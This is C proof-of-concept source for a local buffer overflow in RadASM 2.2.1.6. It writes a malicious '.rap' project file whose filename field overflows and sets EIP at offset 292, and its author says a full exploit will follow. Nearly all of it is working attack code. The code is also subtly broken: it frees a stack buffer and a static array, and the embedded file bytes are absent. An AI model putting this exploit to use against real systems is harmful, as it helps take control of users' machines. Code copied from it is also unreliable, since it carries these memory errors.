RadASM 2.2.1.6 – ‘.rap’ Local Buffer Overflow (PoC)

/*Radasm .rap file local buffer overflow POC

I'll be back in a few hours with the exploit.

The vuln is in the filename field.

snip

[Files]...1=AVP OVERFLOW...

snip

*/

#include<stdio.h>

void gen_random(char*,const int);

void print(char*);

unsigned int getFsize(FILE*,char*);

void buildfile(char*);

#define VULNF "qq.rap"

#define VER "2.2.1.6"

#define POCNAME "Radasm .rap file local buffer overflow POC"

#define AUTHOR "fl0 fl0w"

#define IF(x,NULL) if(x==NULL)

#define FOR(i,a,b) for(i=a;i<b;++i)

#define EIPOFFSET 0xDD

#define NUL '\0'

#define CLEAR(x) free(x)

char file[]={ //1534 bytes

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int main(){

printf("[!]%s\n[!]%s\n[!]By %s\n",POCNAME,VER,AUTHOR);

buildfile(VULNF);

print("DONE!");

getchar();

return 0;

}

void buildfile(char* fname){

char buffer[100000];

char eip[]="\x55\x55\x55\x55"; //offset=292

gen_random(buffer,5000);

memcpy(buffer,file,strlen(file));

memcpy(buffer+292,eip,4);

FILE* f=fopen(fname,"wb");

if(f){

fwrite(buffer,1,1534,f);

fclose(f);

}

else {

print("Error in writing file");

exit(0);

}

free(buffer);

free(file);

int sz=getFsize(f,fname);

printf("[!]File is %d bytes\n",sz);

}

unsigned int getFsize(FILE* g,char* gname)

{

unsigned int s;

g=fopen(gname,"rb");

IF(g,NULL)

{

print("File error at reading");

exit(0);

}

fseek(g,0,SEEK_END);

s=ftell(g);

return s;

}

void print(char* msg)

{

printf("[*]%s\n",msg);

}

void gen_random(char *s, const int len)

{ int i; //helps u find the offsets

static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

FOR(i,0,len)

{

s[i]=alphanum[rand()%(sizeof(alphanum)-1)];

}

s[len]=0;

}

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